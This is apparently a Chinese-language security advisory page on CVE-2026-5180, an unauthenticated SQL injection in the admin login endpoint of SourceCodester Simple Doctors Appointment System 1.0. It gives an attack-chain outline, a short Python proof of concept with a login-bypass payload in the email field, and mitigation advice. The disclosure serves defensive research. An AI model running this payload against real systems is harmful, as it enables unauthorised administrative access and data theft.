IPBUF安全漏洞报告
English
CVE-2026-5180 CVSS 7.3 高危

CVE-2026-5180: SourceCodester医生预约系统SQL注入漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-5180
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Simple Doctors Appointment System

相关标签

SQL注入SourceCodesterRCEWeb安全无需认证

漏洞概述

SourceCodester Simple Doctors Appointment System 1.0版本中的/admin/ajax.php?action=login2文件存在SQL注入漏洞。由于对email参数缺乏有效的过滤,攻击者可通过构造恶意SQL语句进行注入。该漏洞无需认证且可远程利用,可能导致数据库信息泄露、数据篡改或服务器权限被获取,对系统安全性构成严重威胁。

技术细节

该漏洞源于SourceCodester Simple Doctors Appointment System 1.0在处理管理员登录请求时的不安全编码实践。受影响的文件位于/admin/ajax.php?action=login2,系统直接将用户提交的email参数拼接到SQL查询语句中,未使用参数化查询或输入消毒。攻击者无需经过身份认证(PR:N)即可远程(AV:N)发送特制的POST数据包。通过在email字段注入SQL控制字符(如单引号、注释符)以及UNION查询语句,攻击者可以欺骗后端数据库执行非预期的命令。这不仅可能导致基于布尔的盲注攻击以提取敏感信息,还可能通过万能密码(如' OR '1'='1)绕过登录验证,从而非法获取系统管理权限,进一步威胁服务器安全。

攻击链分析

STEP 1
侦察
攻击者识别目标正在运行SourceCodester Simple Doctors Appointment System 1.0,并确认存在/admin/ajax.php接口。
STEP 2
漏洞利用
攻击者向/admin/ajax.php?action=login2发送POST请求,在email参数中注入恶意SQL代码(如万能密码或UNION查询)。
STEP 3
权限提升与数据窃取
后端数据库执行恶意SQL,导致登录验证被绕过或敏感数据返回,攻击者获取管理员权限或数据库内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-5180 import requests def check_sql_injection(url): target_url = f"{url}/admin/ajax.php?action=login2" # Payload for authentication bypass or error based injection payload = "admin' OR '1'='1'-- -" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } data = { "email": payload, "password": "random_password" } try: response = requests.post(target_url, data=data, headers=headers, timeout=10) if response.status_code == 200 and ("success" in response.text.lower() or "dashboard" in response.text.lower()): print(f"[+] Potential SQL Injection found at {target_url}") print(f"[+] Response: {response.text[:200]}") else: print("[-] Exploit attempt did not yield expected results, further manual testing required.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_sql_injection(target)

影响范围

SourceCodester Simple Doctors Appointment System 1.0

防御指南

临时缓解措施
建议立即在WAF(Web应用防火墙)中添加规则,拦截针对/admin/ajax.php接口的异常SQL关键词请求;若无法立即升级,应限制后台管理页面的网络访问来源IP。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表